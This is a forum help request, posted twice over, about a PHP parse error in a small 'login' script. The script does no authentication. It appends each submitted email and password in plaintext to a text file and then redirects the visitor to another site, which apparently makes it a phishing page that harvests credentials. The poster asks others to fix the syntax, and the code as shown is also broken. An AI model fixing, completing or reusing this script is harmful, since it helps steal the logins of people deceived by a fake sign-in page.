TrainReq
03-21-2007, 01:06 AM
I am getting
Parse error: syntax error, unexpected T_BOOLEAN_AND in /home/*****/public_html/sttest/login.php on line 5
here is the code i am using
<?php
$pattern = '/.*@.*\..*/';
$email = $_POST['email'];
$password = $_POST['password'];
if (preg_match($pattern, $_POST['email']) > 0) && !isset($_POST['password']))
$data = "acctlist.txt";
$open = fopen($data, "a");
fwrite($open, $email . ":" . $password . "\n" );
fclose($open);
header("Location: http://www.site.com/validate.htmll");
}
else {
echo "<b><center>The email and/or password you enter is invalid! <br> Please go back and enter a valid email/password </b>";
}
?>
here is the code on line 5
if (preg_match($pattern, $_POST['email']) > 0) && !isset($_POST['password']))
What is the problem?
Parse error: syntax error, unexpected T_BOOLEAN_AND in /home/*****/public_html/sttest/login.php on line 5
here is the code i am using
<?php
$pattern = '/.*@.*\..*/';
$email = $_POST['email'];
$password = $_POST['password'];
if (preg_match($pattern, $_POST['email']) > 0) && !isset($_POST['password']))
$data = "acctlist.txt";
$open = fopen($data, "a");
fwrite($open, $email . ":" . $password . "\n" );
fclose($open);
header("Location: http://www.site.com/validate.htmll");
}
else {
echo "<b><center>The email and/or password you enter is invalid! <br> Please go back and enter a valid email/password </b>";
}
?>
here is the code on line 5
if (preg_match($pattern, $_POST['email']) > 0) && !isset($_POST['password']))
What is the problem?